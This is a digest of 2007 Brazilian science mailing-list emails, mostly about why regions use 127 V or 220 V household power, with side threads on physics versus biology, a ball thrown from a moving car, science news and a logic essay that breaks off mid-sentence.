Sent: Thursday, July 05, 2007 8:53 AM

Subject: [ciencialist] 220 V ou não 220 V?



Tipoalgo escreveu:

> Aqui em Brasília a tensão é 220V



Desculpem a ignorância mas por que em alguns estados as distribuidoras de

energia concedem 110 V e outras 220V para as residências? Isto é, por que

não há um único padrão de distribuição de energia elétrica?



Sandro Silva_,___














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SUBJECT: Re: 220 V ou não 220 V?
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/07/2007 12:27

Essa nao e' minha praia, mas ja' li q a origem tem a ver mais com a
densidade habitacional das areas a serem eletrificadas. 220v causa
menos perdas no caminho entre o local do transformador e o local do
consumo. Em areas rurais e areas urbanas onde no inicio do processo
havia casas muito dispersas, com longas distancias entre esses pontos,
inicialmente se adotou 220V (de modo geral Norte/Nordeste/Centro-
Oeste). Nas areas de maior concentracao urbana, onde as perdas nesse
trajeto eram menos significativas, se adotou inicialmente 110V (de modo
geral Sul/Sudeste). Uma vez implantado o sistema de distribuicao com
uma determinada voltagem, fica dificil mudar tudo depois, mesmo q as
condicoes mudem.

Abs,
Eduardo Torres

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(U\)"
<alvaro@...> escreveu
>
> Razões históricas. Algumas regiões do país sofreram a influência
européia
> dos 220 V, enquanto outras sofreram a influência americana dos 110 V.
> Qualquer distribuidora, especialmente as de grande porte, acha que
seu
> padrão é melhor do que o das outras, mas o fato é que, depois de
> estabelecida uma rede de distribuição extensa, é muito difícil e caro
mudar.
> Pessoalmente, prefiro o padrão que oferece tensões monofásicas de 110
V e
> tensões trifásicas de 220 V, por ser "menos letal".
>
> [ ]s
>
> Alvaro Augusto



SUBJECT: Re: [ciencialist] 220 V ou não 220 V?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/07/2007 18:29

"127 V é a tensão na saída do transformador, pois raiz (220) = 127 "

Nunca consigo acompanhar a matemática moderna: raiz(220) = 127 ! :-)))

Brincadeira, sei o que queria dizer.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 5 de julho de 2007 10:42
Assunto: Re: [ciencialist] 220 V ou não 220 V?


127 V é a tensão na saída do transformador, pois raiz (220) = 127 e esses
transformadores são ligados em estrela. Por causa das perdas do
transformador até a tomada, considera-se que a tensão média nas tomadas é de
110 V.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, July 05, 2007 10:16 AM
Subject: Res: [ciencialist] 220 V ou não 220 V?


[E]> aqui em Rib. Preto é 127 V... (!?)



----- Mensagem original ----
De: Alvaro Augusto (U) <alvaro@daelt.sh06.com>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Quinta-feira, 5 de Julho de 2007 10:09:26
Assunto: Re: [ciencialist] 220 V ou não 220 V?













Razões históricas. Algumas regiões do país sofreram a influência
européia

dos 220 V, enquanto outras sofreram a influência americana dos 110 V.

Qualquer distribuidora, especialmente as de grande porte, acha que seu

padrão é melhor do que o das outras, mas o fato é que, depois de

estabelecida uma rede de distribuição extensa, é muito difícil e caro mudar.

Pessoalmente, prefiro o padrão que oferece tensões monofásicas de 110 V e

tensões trifásicas de 220 V, por ser "menos letal".



[ ]s



Alvaro Augusto



----- Original Message -----

From: "ssilva" <ssilva@smad. curitiba. pr.gov.br>

To: <ciencialist@ yahoogrupos. com.br>

Sent: Thursday, July 05, 2007 8:53 AM

Subject: [ciencialist] 220 V ou não 220 V?



Tipoalgo escreveu:

> Aqui em Brasília a tensão é 220V



Desculpem a ignorância mas por que em alguns estados as distribuidoras de

energia concedem 110 V e outras 220V para as residências? Isto é, por que

não há um único padrão de distribuição de energia elétrica?



Sandro Silva_,___














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SUBJECT: Re: 220 V ou não 220 V?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/07/2007 19:58

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Nunca consigo acompanhar a matemática moderna: raiz(220) = 127 !

Se o modular for 5.303, a conta está correta.

[]s,

Roberto Takata



SUBJECT: Re: 220 V ou não 220 V?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/07/2007 20:19

Eu conheço uma terceira história.

As instalações de 110V seriam mais antigas - predominando nas
capitais, os primeiros consumidores de energia elétrica.

As instações de 220V seriam mais modernas - economizando com cabos
mais finos, uma vez q correntes menos intensas são produzidas na
solicitação de uma mesma potência.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Torres"
> Essa nao e' minha praia, mas ja' li q a origem tem a ver mais com a
> densidade habitacional das areas a serem eletrificadas. 220v causa
> menos perdas no caminho entre o local do transformador e o local do
> consumo. Em areas rurais e areas urbanas onde no inicio do processo




SUBJECT: RE: [ciencialist] Re: 220 V ou não 220 V?
FROM: "Ivan Carlos" <icarlos@icarlos.net>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/07/2007 20:36

Até onde sei a história do Eduardo Torres é a válida

220v pulsionados alcançam uma maior distância que 110v, assim conseguem abastecer localidades mais remotas com menos transformadores, é amplamente distribuído em localizações distantes de estações elétricas

Correntes 220v podem ser enviadas por 2 vias de 110 (como o caso de chuveiros em redes metropolitanas 110v, ao invés de uma 110 e uma neutra) ou em 220v por uma única via, que seria justamente com a intensão de enviar a corrente a uma distância maior que a adequada para 110v, em compensação, mais perigosas.


Ivan "Doomer" Carlos - CIO / Social Eng. Specialist
E-mail / Skype / WLM: icarlos@icarlos.net
Cell.: +55 (11) 8112-0666




-----Original Message-----
From: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br] On Behalf Of rmtakata
Sent: Thursday, July 05, 2007 8:19 PM
To: ciencialist@yahoogrupos.com.br
Subject: [ciencialist] Re: 220 V ou não 220 V?

Eu conheço uma terceira história.

As instalações de 110V seriam mais antigas - predominando nas
capitais, os primeiros consumidores de energia elétrica.

As instações de 220V seriam mais modernas - economizando com cabos
mais finos, uma vez q correntes menos intensas são produzidas na
solicitação de uma mesma potência.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Torres"
> Essa nao e' minha praia, mas ja' li q a origem tem a ver mais com a
> densidade habitacional das areas a serem eletrificadas. 220v causa
> menos perdas no caminho entre o local do transformador e o local do
> consumo. Em areas rurais e areas urbanas onde no inicio do processo




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SUBJECT: Amanhecer e Anoitecer
FROM: luiz rodrigo <baygonbr@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/07/2007 21:29

Prezado colegas, alguem conhece algum software ou pagina na internet que seja confiavel para determinar: o horario do amanhecer e do anoitecer em determinada cidade em determinada data.

atenciosamente

Luiz Rodrigo Grochocki




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SUBJECT: Re: [ciencialist] Re: Ernst Mayr e a filosofia da biologia
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/07/2007 22:03

Caro Takata,

Concordo que quando entramos no terreno da complexidade e do caos as
previsões da física não são muito boas. Mas isso talvez só signifique que
nesse terreno os sistemas físicos começam a se parecer mais com sistemas
biológicos (estou forçando um pouquinho, eu sei). Por outro lado, não existe
sistema biológico tão simples quanto um sistema físico simples. O modelo de
predador-presa mais simples pode exibir comportamento caótico, mas isso não
acontecerá com um pêndulo simples ou com um resistor ôhmico alimentado com
corrente alternada senoidal. É essa característica da física, de encontrar
modelos simples para os sistemas, que a torna diferente da biologia. É claro
que você poderá dizer que esses modelos simples na verdade não existem, mas
isso é outra história!

[ ]s

Alvaro Augusto


----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, July 03, 2007 12:57 AM
Subject: [ciencialist] Re: Ernst Mayr e a filosofia da biologia


--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(U\)"
> É verdade que a física também padece de problemas semelhantes,
> especialmente quando chegamos muito perto do Big Bang ou do domínio
> de Planck, onde não existem teorias ou métodos experimentais
> adequados. Nesse aspecto, e provavelmente só nesse aspecto, talvez
> física e biologia não sejam tão diferentes.

Tb não é possível se testar plenamente os modelos meteorológicos,
climatológicos, oceanográficos, ou mesmo todos os circuitos de um
microprocessador... Oquei, há aproximações razoáveis, bem como para o
caso de modelos ecológicos de flutuação populacional entre presa e
predador, processos cibernéticos de autorregulação de parâmetros
fisiológicos.

A mecânica quântica é inegavelmente um sucesso - mas apanha de qq
átomo mais complexo do q o hidrogênio (um reles par de próton e elétron).

A física newtoniana tem bases sólidas, mas não é capaz de dar soluções
algébricas úteis (operacionais) para o problema de três corpos.

A einsteniana é uma belíssima reconstrução da clássica, mas não
explica TOTALMENTE a precessão do periélio de Mercúrio. A longo prazo
as previsões erram completamente.

A teoria da evolução não é capaz de predizer como será a biota
terrestre de daqui a um milhão de anos? O problema é q as astronomia
não é capaz de predizer se um bólido espacial irá se chocar com a
Terra nesse período (e de q tamanho ele será), tb a geologia não diz
se haverá uma grande atividade tectônica a disparar vulcanismos pelo
globo nesse intervalo de tempo, ou se o ciclo de Milankovitch irá
disparar uma nova era do gelo (qual a duração, q temperatura média?),
a astrofísica não nos diz qual será exatamente o padrão de atividade
solar, a intensidade da chuva de raios cósmicos, a quântica não diz
qual será o exato padrão das ligações ressonantes da timina no momento
em q ela se unir à cadeia em elongamento... Sem condições de contorno
não há previsão q se faça (só Hawking e Hartle a respeito da origem do
universo).

[]s,

Roberto Takata



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SUBJECT: RES: [ciencialist] Re: 220 V ou não 220 V?
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/07/2007 22:17

Falha de digitação. Não explicitou a divisão por raiz(3). E está claro que
220 volts é entre fases.

Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de rmtakata
Enviada em: quinta-feira, 5 de julho de 2007 19:59
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Re: 220 V ou não 220 V?



--- Em ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> , "Luiz Ferraz Netto"
> Nunca consigo acompanhar a matemática moderna: raiz(220) = 127 !

Se o modular for 5.303, a conta está correta.

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Re: 220 V ou não 220 V?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/07/2007 22:59

--- Em ciencialist@yahoogrupos.com.br, "J.Victor" <j.victor.neto@...>
> Falha de digitação. Não explicitou a divisão por raiz(3).

A raiz de 3 tem alguma coisa haver com o sistema ser trifásico?

[]s,

Roberto Takata



SUBJECT: aquecedor solar.
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/07/2007 23:03

Listeiros:



Será que é viável para residências que consomem para apenas 2 ou 3 chuveiros?





silvio.





Aquecedor solar passa a ser obrigatório em novos imóveis de SP





Instalação da captação solar varia de R$ 2.000 -sistemas de baixo custo usados em imóveis residenciais, com canos de PVC para escoar a água- a R$ 100 mil -casos de hospitais

O uso de energia solar para o aquecimento de água será obrigatório nos novos empreendimentos de São Paulo, residenciais ou não.

A lei, aprovada na Câmara Municipal e sancionada ontem pelo prefeito Gilberto Kassab (DEM), também determina que novos imóveis com até três banheiros tenham a preparação elétrica para instalar os aquecedores -aqueles com mais de três banheiros ou piscina aquecida serão obrigados a tê-lo.

A lei será regulamentada em 120 dias, com prazos de adaptação, multas aos infratores e isenções fiscais aos proprietários de estabelecimentos comerciais ou imóveis já regularizados que adotarem o uso da energia solar.

A instalação da captação solar varia de R$ 2.000 -sistemas de baixo custo usados em imóveis residenciais, com canos de PVC para escoar a água- a R$ 100 mil -casos de hospitais.

O projeto obriga ainda a instalação de aquecedores em imóveis não-residenciais que utilizam muita água aquecida a gás ou por meio de energia elétrica. É o caso, por exemplo, de hotéis, academias e hospitais.

Segundo o secretário Eduardo Jorge (Verde e Meio Ambiente), com a regulamentação, o aquecedor será item obrigatório para obtenção de alvará para comércios. Valerá ainda para conseguir o Habite-se, que autoriza a ocupação de imóveis.
(Folha de SP, 5/7)




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Re: 220 V ou não 220 V?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 00:20

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> A raiz de 3 tem alguma coisa haver com o sistema ser trifásico?

coisa a ver...

[]s,

Roberto Takata



SUBJECT: Groelândia há 500 mil anos.
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <Undisclosed-Recipient:;>
DATE: 06/07/2007 00:29

Groenlândia foi mais quente e teve florestas





Material genético enterrado sob o gelo da Groenlândia revela que ilha teve flora e fauna diversas e clima ameno há meio milhão de anos.

Análise de amostra de DNA permite recriar o ambiente da ilha entre 450 mil e 900 mil anos

Há cerca de meio milhão de anos, a Groenlândia era coberta por florestas boreais e tinha um clima mais quente do que se pensava, semelhante ao encontrado hoje no sul da Suécia. Para chegar a essa conclusão, uma equipe de pesquisadores liderada por Eske Willerslev, da Universidade de Copenhague (Dinamarca), analisou antigos restos de DNA datados entre 450 mil e 900 mil anos. Esses vestígios se encontravam preservados nas geleiras da ilha. Willerslev estudou as camadas inferiores da calota da Groenlândia, compostas por uma mistura de gelo e lama, atrás de registros antigos de vida e de elementos que o ajudassem a reconstruir o clima do passado. Em um dos locais estudados, o material genético estava tão bem preservado que os cientistas puderam criar uma longa lista de plantas e insetos que viviam na Groenlândia antes que o local tivesse sido coberto pelo gelo. A vegetação incluía cereais, pinheiros e outras coníferas. "Isso corresponde às paisagens que encontramos no leste do Canadá e nas florestas da Suécia hoje", diz Willerslev. Os pesquisadores encontraram ainda DNA de borboletas, mariposas, moscas e besouros.

De acordo com o estudo, a antiga flora da Groenlândia revela que, entre 450 mil e 900 mil atrás, as temperaturas locais não poderiam ter sido inferiores a -17ºC no inverno e chegavam a pelo menos 10ºC no verão. Nessa época, o clima no planeta deve ter sido 5°C mais quente do que hoje e o nível dos oceanos estava entre 1 metro e 2 metros acima do atual. Os resultados do estudo sugerem, segundo os autores, que no passado pode ter havido períodos de aquecimentro global causado apenas por fatores naturais.

<>Medindo o grau de depressão
Padrões de atividade no hipocampo permitem prever o nível do distúrbio mental em animais

Pesquisadores identificaram padrões de atividade neural no cérebro de ratos que têm relação com o nível de depressão das cobaias. O estudo chefiado por Karl Deisseroth, da Universidade de Stanford (EUA), ajuda a esclarecer os circuitos cerebrais que estão por trás da depressão e também dos efeitos de tratamentos contra ela. Os pesquisadores desenvolveram uma técnica de observação em alta velocidade que permitiu analisar em tempo real a atividade do hipocampo dos ratos, uma estrutura do cérebro que controla outras regiões do órgão associadas à depressão e que parece ser um dos principais locais de ação dos antidepressivos. Eles encontraram padrões na atividade cerebral que permitiram prever o grau de depressão que cada animal exibia. Esses padrões permitiam inclusive acompanhar a melhora que o uso de antidepressivos trazia ao comportamento das cobaias. Essa recuperação, dizem, está associada à formação de novos neurônios no hipocampo. "Nós normalmente pensamos que condições psiquiátricas são nebulosas e intratáveis, mas esse estudo mostrou que, com as ferramentas certas, podemos colocar a psiquiatria em uma moldura quantitativa", diz Raag Airan, um dos autores do estudo. Os pesquisadores alertam que ainda não está claro o quão próximo o modelo dos ratos está da depressão em humanos, apesar de as cobaias apresentarem os mesmos sintomas e responderem aos mesmos medicamentos. Ainda assim, os resultados do trabalho de Deisseroth são um ponto de partida para compreender os efeitos da depressão e dos tratamentos utilizados contra ela na atividade do cérebro.

Genoma de anêmona é semelhante ao humano
Comparação sugere que último ancestral comum a todos os animais já tinha material genético complexo

O genoma da anêmona marinha Nematostella vectensis é muito mais complexo e parecido com o dos vertebrados do que os da mosca-da-fruta e de certos vermes, mostra uma equipe de pesquisadores dos Estados Unidos e da Noruega. De maneira geral, acredita-se que os genomas se tornam mais complexos à medida que novas linhagens se desenvolvem ao longo da evolução. Mas o resultado de análise comparativa realizada pela equipe liderada por Nicholas Putnam, do Joint Genome Institute do Departamento de Energia dos EUA, sugere que o último ancestral comum a todos os animais existentes já tinha um patrimônio genético relativamente complexo, incluindo muitos dos genes que se pensava serem exclusivos dos vertebrados. Os pesquisadores relatam que o genoma da N. vectensis contém cerca de 450 milhões de pares de bases e um total de genes na casa dos 18 mil. Além disso, a estrutura do genoma e a organização desses genes revelam semelhanças inesperadas com o genoma humano. Entre as similaridades, estão centenas de genes compartilhados pelas duas espécies. Os autores sugerem que tanto a anêmona como os vertebrados conservaram trechos do genoma que a mosca-da-fruta e os vermes estudados perderam ao longo da evolução. Eles pretendem comparar o genoma da N. vectensis aos de outros animais, para aprender mais sobre a evolução dos genes ao longo da história dos animais. "Isso vai nos ajudar a entender não apenas as origens dos animais, mas também como a biodiversidade foi criada e moldada por mudanças genéticas", diz Daniel Rokhsar, da Universidade da Califórnia (EUA), um dos autores do trabalho.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100km/h de um carroa100km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 00:34

Caro, Takata! Em todos os textos pinçados por vc abaixo - e nos demais
textos não lembrados - tentei chamar atenção de que a força do vento é uma
possibilidade real e concreta considerando nossa experiência e conhecimento.
Isso está dito desde o primeiro e-mail que escrevi sobre esse assunto, veja:

[ From: "José Renato" <jrma@terra.com.br>
Sent: Monday, June 18, 2007 10:32 PM
Subject: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro a 100Km/h:
osresultados
Teoricamente a bola deveria cair em queda livre no piso da pista.
No vídeo ela se desloca um pouco na direção em que o carro está indo...
Acompanha ainda que parcialmente o movimento do carro de onde foi lançada,
provavelmente devido ao "vácuo" provocado pelo deslocamento do carro no
ar. ]

Isso quer dizer que o empuxo do ar deslocado pelo carro provoca o primeiro
semi-arco na mesma direção e sentido e, conseqüentemente, os demais arcos.
Alertei também de que o empuxo do ar acelera horizontalmente a bola durante
alguns instantes. O que ficou aberto a conjecturas foi a *amplitude dos
arcos* após a bola tocar na pista pela primeira vez, que não pode ser
explicada apenas pela aceleração promovida pelo empuxo do ar.
Afirmei também na mensage/63993 que [ O posicionamento da bola e das rodas
do carro na foto são extremamente irregulares, o que certamente não reflete
o movimento real de ambos. ] visto que os pontos plotados revela um
movimento incompatível com uma trajetória normal e eu não os consideraria
como pontos "reais" da provável trajetória da bola.
Faço outros comentários no texto abaixo, após JR2 - .
................................................................................

"A força do vento deslocado pelo carro, *acelera* a bola na horizontal
e explica o aumento dos arcos das parábolas após o lançamento da bola.
O posicionamento da bola e das rodas do carro na foto são extremamente
irregulares, o que certamente não reflete o movimento real de ambos.
" ['aumento' e 'arcos' no plural]
http://br.groups.yahoo.com/group/ciencialist/message/63993

----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, July 04, 2007 10:35 PM
Subject: [ciencialist] Re: Jogar uma bola a 100km/h de um
carroa100km/h:osresultados


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> JR - Em outras palavras já afirmei que até o primeiro quique o
> empuxo do deslocamento do ar é compatível com a inclinação da
> trajetória da bola para a esquerda. Após bater no solo pela primeira
> vez a bola é acelerada horizontalmente para a esquerda por motivos
> apenas conjeturados.

Vc não falou isso inicialmente:
"A força do vento deslocado pelo carro, *acelera* a bola na horizontal
e explica o aumento dos arcos das parábolas após o lançamento da
bola." ['aumento' e 'arcos' no plural]
http://br.groups.yahoo.com/group/ciencialist/message/63993


"JR1 - Como já expliquei anteriormente o empuxo do vento na bola é
mais forte quando ela é lançada, mas o empuxo só passa a atuar
efetivamente *após o lançamento* a partir do qual o efeito de
aceleração aumenta a velocidade da bola na horizontal a cada instante.
Dá para entender que assim a bola acelera e os arcos ficam mais
abertos..." [de novo 'arcos' no plural]
http://br.groups.yahoo.com/group/ciencialist/message/64034

"JR1 - Análise claudicante e autista... A medida da velocidade da
bola, um dos dois dados fundamentais do problema já não é
importante... A inclinação da bola para a esquerda já é visível na
primeira trajetória após o lançamento. Essa força de empuxo horizontal
somada à componente vertical gravitacional promove o deslocamento mais
acentuado após quicar no chão." ['empuxo horizontal', 'após o quicar
no chão']
http://br.groups.yahoo.com/group/ciencialist/message/64091

> E simplesmente não há a menor possibilidade de outros componentes
> desacelerarem a bola no terceiro trecho - porq ele se dá totalmente
> no *ar*! A bola teria ser brecada pelo ar. Oras, se ela sofrer uma
> desaceleração de 5 m/s2 por causa do ar, não poderia ter acelerado a
> 3m/s2 no segundo trecho - a menos q tenha passado um tufão de
> 106,949978 km/h q acelerasse a bola a 8 m/s2.

> JR - Essa afirmação poderia ser consistente se a filmagem fosse
> especial,

Não há necessidade alguma de filmagem especial. A afirmação é baseada
nos cálculos produzidos a partir da imagem. As medidas da trajetória
(e os valores das constantes gravitacional, aerodinâmicas da bola e do
ar) são suficientes para se ter essa noção.
JR2 - Como vc mesmo pode ver os pontos plotados são irregulares, não
confiáveis para uma conclusão consistente.

A menos é claro q, com uma filmagem especial, possamos provar q a
trajetória da bola do ápice de uma subida até antes de tocar o chão
NÃO se dá totalmente no ar. O q seria uma possibilidade altamente
improvável.
JR2 - ?!

> Novamente, o vento NÃO pode ser um fator significativo para o
> movimento da bola. Se fosse, a trajetória teria q ser MUITO
> DIFERENTE.
> JR - Ficaria mais inteligível especificando os trechos...

Eu especifiquei como primeiro trecho, segundo trecho...
JR2 - Não especificou, não. Veja seu comentário à minha afirmação:

[ JR - Quanto à aceleração horizontal obtida pela bola após quicar no chão
pela primeira vez, já afirmei que não é determinada por esse empuxo do
deslocamento do ar provocado pelo carro a 100km/h.
RT - Nem do primeiro quique, nem do segundo, nem do terceiro... O vento
simplesmente não pode ter influência significativa sobre o movimento da bola
sob pena de ser incompatível com a trajetória. ]

JR2 - Vc fala em quique e não em trecho... E volta a alertar que não me
parece aceitável desconsiderar o empuxo provocado pelo deslocamento do ar
pelo carro sobre a bola na mesma direção e sentido. O empuxo do ar sobre a
bola, sem qualquer dúvida, existe no evento apresentado no vídeo.
...

O primeiro trecho é o da bola caindo de uma altura de cerca de 1,20m
logo após lançada da caminhoneta até logo antes de tocar no chão pela
primeira vez. O segundo trecho é o da bola logo depois de tocar no
chão pela primeira vez até o ápice da parábola q descreve (a cerca de
0,69m do chão). O terceiro trecho é o da bola do ápice dessa parábola
até logo antes de tocar o chão pela segunda vez e assim por diante.
JR2 - Agora, sim, vc fala em trecho, após ter falado em quique e eu ter lhe
alertado que ficaria mais inteligível se fossem identificados os trechos nas
análises.

Eu até deixei a figura disponível para visualização:
http://br.groups.yahoo.com/group/ciencialist/files/ball4.jpg
JR2 - Já não está disponível...
Vale observar, Takata, que isso não é uma competição para ver quem consegue
descobrir o que provoca - de fato - a aceleração horizontal da bola. Tirando
o empuxo provocado pelo ar, as demais possibilidades ficam na área das
conjecturas, sendo que as mais votadas são: rotação da bola, pedregulho ou
irregularidade na pista.

[]s,
Roberto Takata

[]s
José Renato




SUBJECT: Re: Jogar uma bola a 100km/h de um carroa100km/h:osresultados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 02:46

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> textos não lembrados - tentei chamar atenção de que a força do vento
> é uma possibilidade real e concreta considerando nossa experiência e
> conhecimento.

Não é. O vento, como mostrei através dos cálculos NÃO pode ser
significativo - porq isso levaria a uma trajetória TOTALMENTE diferente.

A nossa experiência e conhecimento indicam q uma caminhoneta a 100
km/h NÃO produz ventos de 64 km/h...

Pra vc ter uma noção do q é um vento assim:
http://youtube.com/watch?v=zKQv07bwk5s
http://youtube.com/watch?v=R8yA6WsJ6bE

Além disso, um objeto q tem aceleração horizontal e vertical cai em
diagonal reta e não em arco de parábola.

[]s,

Roberto Takata



SUBJECT: off-topic - Website (serviço)
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 03:19

Oi,

Estou querendo montar uma Website, para divulgar meus livrinhos, meus
textos, minhas idéias. Só estou mandando essa mensagem a ciencialist
porque, aqui no meu arraial, não tenho a menor idéia a quem recorrer.

Existe alguém, aqui na C-List, que faça esse serviço? Pago bem.

Abraço,
Manuel Bulcão



SUBJECT: Fw: Educacao fisica na Feira
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 05:21

Oi Roberto et all,

quem sugere experimentos que o professor de educação física possa fazer, numa Feira, para destacar a Física envolvida na sua área?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: wagner
Para: leobarretos@uol.com.br
Enviada em: quinta-feira, 5 de julho de 2007 12:42


Olá... Proj.. Boa tarde..!!

Sou Prof de Ed. Fisica.. Colégio Objetivo - Vale do Paraiba - SP
Neste semestre estaremos fazendo uma feira de ciencias... Normalmente os temas.. sao.. eletronica... eletricidade... e outros... gostaria que com sua experiencia e vicencia nestes eventos pudesse sugerir... aogum tipo de trabalho que possa ser apresentado na area de Ed. Fisica...
Talvez algo que possa mostra que mesmo sem perceber quando fazemos atividade fisica.. estamos praticando... uma atividade eletroquimica ou sonora...por exemplo..!!
Estou abertoa sugestoes..

Atenciosamente
Wagner


--------------------------------------------------------------------------------


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Version: 7.5.476 / Virus Database: 269.10.0/886 - Release Date: 04/07/2007 13:40


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] off-topic - Website (serviço)
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 05:40

Quer que eu abra uma SALA no Imperdível para isso? Qual seria o nome da Sala? Qual a estimativa do tamanho da Sala em Mb?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Manuel Bulcão" <manuelbulcao@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 6 de julho de 2007 03:19
Assunto: [ciencialist] off-topic - Website (serviço)


Oi,

Estou querendo montar uma Website, para divulgar meus livrinhos, meus
textos, minhas idéias. Só estou mandando essa mensagem a ciencialist
porque, aqui no meu arraial, não tenho a menor idéia a quem recorrer.

Existe alguém, aqui na C-List, que faça esse serviço? Pago bem.

Abraço,
Manuel Bulcão



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SUBJECT: RES: [ciencialist] Re: 220 V ou não 220 V?
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 07:16



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de rmtakata
Enviada em: quinta-feira, 5 de julho de 2007 23:00
Para: ciencialist@yahoogrupos.com.br
Assunto: RES: [ciencialist] Re: 220 V ou não 220 V?



>A raiz de 3 tem alguma coisa haver com o sistema ser trifásico?

Tem.

Nos sistemas trifásicos, em estrela, a tensão entre linha e neutro é dada
pela tensão entre duas linhas(220V ou 380V) dividida por Raiz(3).

Num sistema trifásico em 220 V entre linhas, muito comum no Sul, a tensão
fase-neutro é aprox. 127 Volts;

Num sistema trifásico em 380 Volts, muito comum em boa parte do Nordeste, no
Nordeste, a tensão fase-neutro é aprox. 220V.

Sds,

Victor.





[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Lógica e falha do raciocínio
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 07:53

Olá a todos!

Um pouco de Lógica a ninguém deveria fazer mal. Bom se verdade fosse!

Abraços
Tipoalgo


http://tecnociencia.jor.br
Lógica e
falha do
raciocínio

Lógica e falha do raciocínio
Autor: Jeferson Luís da Silva
http://jsilva.tecnociencia.jor.br
Motivado em compreender a dinâmica do raciocínio humano e identificar
falhas e acertos em
nossa percepção o filósofo Aristóteles no século IV antes de Cristo
foi o primeiro a elaborar uma
metodologia com regras rígidas para identificar argumentos certos e
errados e distinguir
interferências no raciocínio, validando o pensamento organizado.
A lógica é uma ciência que se preocupa com o caminho do raciocínio, em
outras palavras, busca
identificar como o pensamento é organizado.
A principal regra da lógica de Aristóteles é a não-contradição.
Chamamos de falácia quando uma
argumentação é contraditória. Muitas das afirmações que escutamos
diariamente quando
fundamentadas demonstram-se falácias, principalmente as afirmações
generalizadas.
Veja um exemplo:
Correr diariamente 30 minutos faz bem a saúde de todas as pessoas.
Observe que a frase acima é generalizada e ignora pessoas vitimadas
por problemas na coluna,
ortopédicos, entre outros. Ao tentar fundamentar o raciocínio acima
vai ocorrer a contradição,
nem todas as pessoas são aptas ao exercício. Possuímos aqui uma
falácia e como existe uma
contradição não é possivel sustentar afirmação.
Já a afirmação abaixo:
Todos os seres vivos são mortais
